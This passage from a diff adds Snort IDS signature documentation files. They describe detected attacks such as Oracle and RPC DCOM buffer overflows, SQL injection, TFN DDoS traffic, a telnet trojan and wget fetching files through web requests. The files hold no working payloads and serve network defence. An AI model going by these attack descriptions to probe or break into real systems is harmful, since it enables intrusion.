+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure pushdeferredtxns
+. This procedure is included in
+sys.ltutil.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/956.txt
+++ snort-2.8.5.2/doc/signatures/956.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+956
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000769.txt
+++ snort-2.8.5.2/doc/signatures/100000769.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000769
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "member" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "member" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3298.txt
+++ snort-2.8.5.2/doc/signatures/3298.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3298
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1265.txt
+++ snort-2.8.5.2/doc/signatures/1265.txt
@@ -0,0 +1,60 @@
+Rule:
+
+Sid:
+1265
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) cmsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port cmsd is using.  Attackers can also learn what versions of the cmsd protocol are accepted by cmsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as cmsd run.  The cmsd RPC service implements the Calendar Manager Service daemon that is often distributed with the Common Desktop Environment (CDE) and OpenWindows.  Several buffer overflow vulnerabilities have been associated with cmsd.
+
+--
+Affected Systems:
+Any host running the RPC service cmsd.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where cmsd runs.  This may be a precursor to accessing cmsd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access cmsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for cmsd, not probes of the cmsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the cmsd service itself. An attacker may attempt to go directly to the cmsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS17
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1721.txt
+++ snort-2.8.5.2/doc/signatures/1721.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1721
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1330.txt
+++ snort-2.8.5.2/doc/signatures/1330.txt
@@ -0,0 +1,50 @@
+Rule:
+
+--
+Sid:
+1330
+
+--
+Summary:
+Attempted wget command access via web
+
+--
+Impact:
+Attempt to gain information using wget to access sensitive files on a webserver.
+
+--
+Detailed Information:
+This is an attempt to gain intelligence from sensitive system files on a webserver. Wget is GNU software that allows for retrieval of files uing HTTP, HTTPS and FTP. The attacker could possibly gain information needed for other attacks on the system, including the retrieval of password files from a third party onto the target webserver.
+
+Using "wget", the attacker may be able to upload an exploit, IRC daemon or DDoS agent onto the server. The rule looks for the "wget" command in the URL part of the client to web server connection and does not indicate whether the command was actually successful in uploading or downloading the files. The presence of the "wget" command in the URL indicates that an attacker attempted to trick the web server into executing system commands in non-interactive mode i.e. without a valid shell session. Another case when this rule might trigger is unencrypted HTTP tunneling connection to the server.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains the path to wget and commands for wget in the URI, which can then return requested files to an external destination or onto the target server.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Non-essential binaries should be removed from a webserver once it is in production.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2555.txt
+++ snort-2.8.5.2/doc/signatures/2555.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2555
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/932.txt
+++ snort-2.8.5.2/doc/signatures/932.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+932
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3018.txt
+++ snort-2.8.5.2/doc/signatures/3018.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3018
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/209.txt
+++ snort-2.8.5.2/doc/signatures/209.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+209
+
+--
+Summary:
+w00w00 is a Trojan Horse utilizing Telnet. This event is generated when 
+an attacker attempts to connect to a w00w00 server using Telnet.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS510
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1489.txt
+++ snort-2.8.5.2/doc/signatures/1489.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1489
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-14.txt
+++ snort-2.8.5.2/doc/signatures/111-14.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-14
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may indicate an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event indicates that the pre-processor stream4 has detected forward
+overlapping packets that may indicate an attempt is being made to evade
+detection by an IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can attempt to hide malicious payload data by sending
+fragmented packets that overlap.
+
+-- 
+Ease of Attack: 
+Simple. Tools such as fragroute contain this functionality.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000551.txt
+++ snort-2.8.5.2/doc/signatures/100000551.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+100000551
+--
+Summary:
+This event is generated when an attempt is made to access the file 
+"aolbonics.php which contains known vulnerabilities in the "Project Eros 
+BBSEngine" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known 
+vulnerabilities from a remote machine used by the "Project Eros BBSEngine" 
+application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Project Eros BBSEngine
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1824.txt
+++ snort-2.8.5.2/doc/signatures/1824.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1824
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/251.txt
+++ snort-2.8.5.2/doc/signatures/251.txt
@@ -0,0 +1,69 @@
+Rule:
+--
+Sid:
+238
+
+--
+Summary:
+This event is generated when a command is sent to a Tribal Flood Network
+(TFN) Distributed Denial of Service (DDoS) daemon.
+
+--
+Impact:
+Attempted DDoS.  If the listed source IP is in your network, it may be a
+TFN client.  If the listed destination IP is in your network, it may be 
+a TFN daemon.
+
+--
+Detailed Information:
+The TFN DDoS uses a tiered structure of compromised hosts to coordinate 
+and participate in a distributed denial of service attack. Clients 
+communicate with daemons to inform them to launch attacks.
+
+This event is indicative of a client sending commands to a daemon.
+
+--
+Affected Systems:
+Any TFN compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a TFN daemon, it will respond to client requests.
+
+--
+Ease of Attack:
+Simple. TFN code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+Arachnids:
+http://www.whitehats.com/info/IDS183
+
+--
--- snort-2.8.5.2.orig/doc/signatures/448.txt
+++ snort-2.8.5.2/doc/signatures/448.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+448
+
+--
+Summary:
+This event is generated when an ICMP "Source Quench" message is 
+generated that has a non-zero ICMP code.  
+
+--
+Impact:
+Informational.  This may indicate that the ICMP message has been 
+crafted.
+
+--
+Detailed Information:
+An ICMP "Source Quench" message is issued by a network device that 
+cannot handle the current volume of traffic.  The ICMP code value for 
+this message should be 0.  If a non-zero ICMP code is observed, it may 
+be an indication that the packet was crafted with an invalid value.
+
+ICMP Source Quench messages may be normally sent by either a gateway or 
+a host as a congestion control mechanism. A gateway would send them if 
+it is running out of buffer space (needed to queue datagrams for output 
+to the next hop) or by a host that is receiving datagrams too fast to 
+process. Maliciously crafted ICMP Source Quench Messages may be used to 
+force a remote host to slow down its transmission rate and causing a 
+Denial of Service.
+
+--
+Affected Systems:
+This traffic should have no adverse impact.
+
+--
+Attack Scenarios:
+An attacker may craft an ICMP "Source Quench" message with an invalid 
+ICMP code.  A single packet itself is not harmful, but the unusual ICMP 
+code my indicate that this packet was abnormally generated.
+
+--
+Ease of Attack:
+Simple. There are many packages available to generate ICMP messages.
+
+--
+False Positives:
+Although rare, it is possible to observe an ICMP "Source Quench" message
+with a non-zero type code generated by software that does not conform to standards.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+If a routing device in your network is generating this message, investigate why it does not have a standard ICMP code of 0.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Additional information by Jose Hernandez <jrseal76@hotmail.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000361.txt
+++ snort-2.8.5.2/doc/signatures/100000361.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000361
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "email_an_benutzer.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "email_an_benutzer.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/478.txt
+++ snort-2.8.5.2/doc/signatures/478.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+
+Sid:
+478
+
+--
+
+Summary:
+This event is generated when Broadscan Smurf Scanner generates an ICMP echo
+request message.
+
+--
+
+Impact:
+ICMP echo requests are used to determine if a host is running at a
+specific IP address.  A remote attacker can scan a large range of hosts
+using ICMP echo requests to determine what hosts are operational on the
+network.
+
+--
+
+Detailed Information:
+The Broadscan Smurf Scanner generates an ICMP echo packet with a specific
+datagram signature.  
+
+--
+
+Attack Scenarios:
+A remote attacker might scan a large range of hosts using ICMP echo
+requests to determine what hosts are operational on the network.
+
+--
+
+Ease of Attack:
+Simple.  Packet generation tools can generate this type of ICMP packet
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+Packet generation tools can generate ICMP echo requests with
+user-defined payloads.  This could allow attackers to replace this
+signature with binary values and conceal their operating system.
+
+--
+
+Corrective Action:
+To prevent information gathering, use a firewall to block incoming ICMP
+Type 8 Code 0 traffic.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3242.txt
+++ snort-2.8.5.2/doc/signatures/3242.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3242
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/714.txt
